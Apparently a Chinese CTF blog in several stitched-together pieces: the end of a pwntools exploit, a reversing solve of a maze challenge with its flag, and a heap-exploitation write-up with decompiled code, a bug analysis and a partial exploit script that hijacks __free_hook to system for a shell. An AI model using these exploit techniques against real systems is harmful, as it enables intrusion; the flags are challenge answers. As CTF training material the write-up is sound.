libc_base = puts_addr-libc.symbols['puts']
free_hook_addr = libc.symbols['__free_hook']+libc_base
system_addr = libc.symbols['system']+libc_base
payload = p64(free_hook_addr)
Edit(2, payload)
Edit(1, p64(system_addr))
Delete(0)
r.interactive()

因为本题的 PWN 部分十分简单，Y7n05h 就不解释 exp 的每行的作用了．

最后，再次感谢「摸一把」战队的大师傅，Y7n05h 在比赛中没找到漏洞点，有花指令隐藏了漏洞点是 Y7n05h 赛后从「摸一把」战队的大师傅那里得知的．

不一样的flag

info
题目来源
不一样的flag.

解题过程

首先查找一下，没发现程序有壳，那便直接使用反编译工具直接获得程序的代码．

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v3; // [esp+17h] [ebp-35h]
  int v4; // [esp+30h] [ebp-1Ch]
  int v5; // [esp+34h] [ebp-18h]
  signed int v6; // [esp+38h] [ebp-14h]
  int i; // [esp+3Ch] [ebp-10h]
  int v8; // [esp+40h] [ebp-Ch]

  __main();
  v4 = 0;
  v5 = 0;
  qmemcpy(&v3, _data_start__, 0x19u);
  while ( 1 )
  {
    puts("you can choose one action to execute");
    puts("1 up");
    puts("2 down");
    puts("3 left");
    printf("4 right\n:");
    scanf("%d", &v6);
    if ( v6 == 2 )
    {
      ++v4;
    }
    else if ( v6 > 2 )
    {
      if ( v6 == 3 )
      {
        --v5;
      }
      else
      {
        if ( v6 != 4 )
LABEL_13:
          exit(1);
        ++v5;
      }
    }
    else
    {
      if ( v6 != 1 )
        goto LABEL_13;
      --v4;
    }
    for ( i = 0; i <= 1; ++i )
    {
      if ( *(&v4 + i) < 0 || *(&v4 + i) > 4 )
        exit(1);
    }
    if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 41) == 49 )
      exit(1);
    if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 41) == 35 )
    {
      puts("\nok, the order you enter is the flag!");
      exit(0);
    }
  }
}

注意到第 13 行 qmemcpy(&v3, _data_start__, 0x19u); 不必多想，直接得出结论，程序将 _data_start__ 复制到了 v3 的位置．查看 _data_start__ 存放的内容为：*11110100001010000101111# 含有 0x19 个字符（不计算 \0）．
不必担心 char v3; 无法存储 _data_start__ 导致程序错误的问题，_data_start__

可以看到 v3 与 v4 间留有巨大的空隙，从 v3 到 v4 的空间恰好能存储整个字符串（除了 \0）．

剩下的一切就不是那么的困难了，仔细看代码会发现输入的值（即v6）只能为 1、2、3、4，其余的值均会导致程序执行 exit(1); （即 exit(EXIT_FAILURE);）．继续看代码可发现一个对应关系

可发现，这正对应着一个「以竖直向下为 x 轴正方向、以水平向右为 y 轴正方向」的平面直角坐标系，即有 ：「v4 代表 x 轴坐标 ，v5 代表 y 轴坐标」．

考察第 51 行、第 53 行代码，会发现 49=='1' 并且 35=='#' ．然后分析看 *((_BYTE *)&v8 + 5 * v4 + v5 - 41) ，_BYTE 表示 1 byte 也就是 char 类型，那也就是 *((char *)&v8 + 5 * v4 + v5 - 41) ，看 v8 的地址是 esp+40h，那么 (char *)&v8 - 41 就是 esp + 40h - 41 == esp + 17h，也就是 &v3．那么就得到了最终的结论，*((_BYTE *)&v8 + 5 * v4 + v5 - 41) 就是 v3[5 * v4 + v5]．

刚才说过，「v4 代表 x 轴坐标 ，v5 代表 y 轴坐标」．还记得 *11110100001010000101111# 含有 0x19 个字符（不计算 \0）吗？

以 0 作为坐标原点建立「以竖直向下为 x 轴正方向、以水平向右为 y 轴正方向」，「v4 代表 x 轴坐标 ，v5 代表 y 轴坐标」就会发现 5 * v4 + v5 的值正是上标中格子的序号．而 5 * v4 + v5 正是 v3 的索引值．

这说明 v3 存储的实际上是一个被压扁地图，也就是下表中的模样．

分析第 53 行代码，if ( *((_BYTE *)&v8 + 5 * v4 + v5 - 41) == 35 )在刚才的分析中已经明白其等价于 if (v3[5 * v4 + v5] == '#') ，只有满足该条件才会执行 exit(0);（即 exit(EXIT_SUCCESS);）．那么本题的分析就全部结束了，只需要寻找按照全为 0 的路径移动即可到达 # 的位置．那么就可以轻松的得到 flag 为 222441144222．当然也还需要用 flag{} 包上，得到最终答案 flag{222441144222}．

warning
免责声明

本文所述 PWN 均属 CTF（Capture The Flag）参赛行为或赛前训练行为．笔者所 PWN 的对象均为 CTF 比赛或练习中平台方提供的靶机．
本文意在分享网络安全与 CTF 相关技术与技巧，共同提升实力．
请本文读者谨记相关法律法规与政策．读者需为自身行为承担相应的法律后果．笔者（Y7n05h）不为读者的行为承担责任．

基本分析

1
2
3
4
5
6
7
8
9
10
11
12

filetype: ELF64
arch: AMD64
mode: 64
endianess: LE
type: DYN
  library: GLIBC(2.4)[DYN AMD64-64]
  compiler: gcc((Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0)[DYN AMD64-64]
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols        No    0               2               /home/admin/Downloads/baige/main
linux-vdso.so.1 (0x00007fff7d9f8000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f6e75d5f000)
/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007f6e7614b000)

题目提供的 libc 附件的版本是 2.27-3ubuntu1.4_amd64，SHA-1 为：46e93283ff53133360e02a73ae5b5ba375410855．

程序分析

下面是通过逆向工程分析得到的伪码：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112

int Memu()
{
  puts("1.Allocate");
  puts("2.Delete");
  puts("3.Edit");
  puts("4.Show");
  puts("5.Exit");
  return puts(">>");
}
int read_Int()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  buf[(int)read(0, buf, 0x10uLL)] = 0;
  return atoi(buf);
}
int Alloc()
{
  unsigned int idx; // [rsp+0h] [rbp-10h]
  int nbytes; // [rsp+4h] [rbp-Ch]
  void *pr; // [rsp+8h] [rbp-8h]

  puts("idx?");
  idx = read_Int();
  if ( idx > 0xF )
    return puts("error!");
  puts("size?");
  nbytes = read_Int();
  Size_Arr[idx] = nbytes;
  if ( nbytes > 1024 )
    return puts("error!");
  pr = malloc(nbytes);
  if ( !pr )
    return puts("error!");
  Pr_Arr[idx] = pr;
  puts("content?");
  read(0, Pr_Arr[idx], (unsigned int)nbytes);
  return puts("success!");
}
int Delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("idx?");
  v1 = read_Int();
  if ( v1 > 0xF || !Pr_Arr[v1] )
    return puts("error!");
  free(Pr_Arr[v1]);
  Pr_Arr[v1] = 0LL;
  return puts("success!");
}
int Edit()
{
  unsigned int v1; // [rsp+8h] [rbp-8h]
  int nbytes; // [rsp+Ch] [rbp-4h]

  puts("idx?");
  v1 = read_Int();
  if ( v1 > 0xF )
    return puts("error!");
  if ( !Pr_Arr[v1] )
    return puts("error!");
  puts("size?");
  nbytes = read_Int();
  if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
    return puts("error!");
  puts("content?");
  read(0, Pr_Arr[v1], (unsigned int)nbytes);
  return puts("success!");
}
int Show()
{
  unsigned int v1; // [rsp+Ch] [rbp-4h]

  puts("idx?");
  v1 = read_Int();
  if ( v1 > 0xF || !Pr_Arr[v1] )
    return puts("error!");
  printf("%d : %s\n", v1, (const char *)Pr_Arr[v1]);
  return puts("success!");
}
void __fastcall main(int a1, char **a2, char **a3)
{
  setbuf(stdout, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  while ( 1 )
  {
    Memu();
    switch ( read_Int() )
    {
      case 1:
        Alloc();
        break;
      case 2:
        Delete();
        break;
      case 3:
        Edit();
        break;
      case 4:
        Show();
        break;
      case 5:
        exit(0);
      default:
        exit(0);
    }
  }
}

除了代码之外，全局变量的内存分布如下：

1
2
3
4
5
6
7
8

.bss:0000000000202060 ; __int64 Size_Arr[16]
.bss:0000000000202060 Size_Arr        dq 10h dup(?)           ; DATA XREF: Alloc+55↑o
.bss:0000000000202060                                         ; Edit+7A↑o
.bss:00000000002020E0 ; void *Pr_Arr[16]
.bss:00000000002020E0 Pr_Arr          dq 10h dup(?)           ; DATA XREF: Alloc+AB↑o
.bss:00000000002020E0                                         ; Alloc+D1↑o ...
.bss:00000000002020E0 _bss            ends
.bss:00000000002020E0

漏洞定位

本题的漏洞还是有些隐蔽的．
相信各位师傅在做本题的时候一定会关注 Edit()

1
2
3
4

if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
  return puts("error!");
puts("content?");
read(0, Pr_Arr[v1], (unsigned int)nbytes);

这里这处可疑的 强制类型转换 实在太可疑了．
nbytes 的型别很容易推断出是 int．
接下来推断 Size_Arr 的型别为：

Size_Arr 中的值只有一个来源就是 Alloc() 中的：

1

Size_Arr[idx] = nbytes;

对应的汇编代码是：

1
2
3
4
5
6
7

.text:0000000000000A48 ; 12:   Size_Arr[idx] = nbytes;
.text:0000000000000A48                 mov     eax, dword ptr [rbp+pr]
.text:0000000000000A4B                 movsxd  rdx, eax
.text:0000000000000A4E                 mov     eax, [rbp+idx]
.text:0000000000000A51                 lea     rcx, ds:0[rax*8]
.text:0000000000000A59                 lea     rax, Size_Arr
.text:0000000000000A60                 mov     [rcx+rax], rdx

可以看到 movsxd 也就是 nbytes 被符号扩展为 Size_Arr[idx]．
那么就能推断出 Size_Arr 的型别为：int64_t[]．那么

问题来了：Edit() 中 nbytes 和 Size_Arr[v1] 的型别分别是 int32_t 和 int64_t，两者比较大小时，若无强制类型转换，编译器应当由隐式类型转换规则对 int32_t 进行符号扩展，也就是将 int32_t 转换为 int64_t，然后比较根据有符号数的比较规则比较两者大小即可．

为了验证，可以查看汇编代码：

1
2
3
4
5
6
7
8
9
10
11

.text:0000000000000C0A ; 13:   if ( nbytes <= 0 || nbytes >= (unsigned __int64)Size_Arr[v1] )
.text:0000000000000C0A                 cmp     dword ptr [rbp+nbytes], 0
.text:0000000000000C0E                 jle     short loc_C76
.text:0000000000000C10                 mov     eax, dword ptr [rbp+nbytes]
.text:0000000000000C13                 movsxd  rdx, eax
.text:0000000000000C16                 mov     eax, [rbp+var_8]
.text:0000000000000C19                 lea     rcx, ds:0[rax*8]
.text:0000000000000C21                 lea     rax, Size_Arr
.text:0000000000000C28                 mov     rax, [rcx+rax]
.text:0000000000000C2C                 cmp     rdx, rax
.text:0000000000000C2F                 jnb     short loc_C76

在汇编代码中能看到这处语句中对 nbytes 先进行了符号扩展：

1
2

.text:0000000000000C10                 mov     eax, dword ptr [rbp+nbytes]
.text:0000000000000C13                 movsxd  rdx, eax

但 rdx 与 rax 的比较却使用了比较无符号数的汇编指令 jnb．

这反常的行为提醒着需要提高警惕．
所以笔者就猜测此处应该存在整数溢出的问题．
但看起来出题者通过检测 nbytes <= 0 堵住了 nbytes 发生整数溢出的可能．

那么，Size_Arr[v1] 能发生溢出吗？

确实能，但不用也行……

回看 Alloc()

1
2
3
4
5
6
7

nbytes = read_Int();
Size_Arr[idx] = nbytes;
if ( nbytes > 1024 )
  return puts("error!");
pr = malloc(nbytes);
if ( !pr )
  return puts("error!");

会惊讶的发现，读取道德 nbytes 被直接写入了 Size_Arr，写入之后才验证数据是否合法.
这意味着可以通过执行 Alloc() 来任意改变 Size_Arr 中的元素．

例如在对 idx 为 0 分配 0x20 的空间后，能通过对 idx 为 0 再次执行 Alloc()，输入 size 大于 1024，实现将 Size_Arr[idx] 修改．
接下来就能通过 Edit() 实现堆溢出．

好了，这就是本题可供利用的漏洞了．若说整数溢出，唯一于此相关的就是：在对 idx 再次执行 Alloc 输入 size 时可以出入 -1，这样在后面调用 Edit() 时就能输入任意的整数作为 size 进行 edit 了．
但不利用这点也完全能解出本题（笔者也想不通出题人为什么在这里放一个整数溢出的 bugs，或许就是为了干扰答题者的思路？）．

解题思路

上面说了漏洞所在．下面聊聊解题思路吧．

首先，利用 Unsort Bin Attack 泄露 main_area 的地址，进而泄露 libc 基址．
其后，利用 tcache poisoning 劫持 __free_hook 为 system，free 写着 /bin/sh\x00 的内存即可.

通过逆向工程得到的伪代码能轻易写出：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

from pwn import *

context(log_level='debug', os='linux', arch='amd64')
# context.terminal = ['tmux', 'split', '-h']

path = "/home/admin/pwn/main"

libcpath = "/home/admin/libcs/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so"

libc = ELF(libcpath)
elf = ELF(path)
r = process(path)
# r = remote("113.201.14.253", 21111)


def up6(addr_port: bytes):
    log.debug("get bytes "+addr_port.hex())
    recvlen = len(addr_port)
    log.debug("recv len "+hex(recvlen))
    assert(recvlen == 6)

    return u64(addr_port.ljust(8, b"\x00"))


def i2b(n: int, Hex: bool = False):
    return bytes(hex(n) if Hex else str(n), encoding="ascii")


def content(cont: bytes):
    r.sendlineafter(b"content?\n", cont)
    r.recvuntil(b'success!\n')


def Show(idx: int):
    r.sendlineafter(b">>\n", i2b(4))
    r.sendlineafter(b"idx?\n", i2b(idx))
    r.recvuntil(b': ')
    return r.recvuntil(b"\nsuccess!\n", drop=True)


def Alloc(idx: int, size: int, cont: bytes = None):
    r.sendlineafter(b">>\n", i2b(1))
    r.sendlineafter("idx?\n", i2b(idx))
    r.sendlineafter("size?\n", i2b(size))
    if cont is None:
        r.recvline()
    else:
        content(cont)


def Edit(idx: int, size: int, cont: bytes):
    r.sendlineafter(b">>\n", i2b(3))
    r.sendlineafter("idx?\n", i2b(idx))
    r.sendlineafter("size?\n", i2b(size))
    # pause()

    r.sendafter(b"content?\n", cont)
    r.recvuntil(b'success!\n')


def Delete(idx: int):
    r.sendlineafter(b">>\n", i2b(2))
    r.sendlineafter("idx?\n", i2b(idx))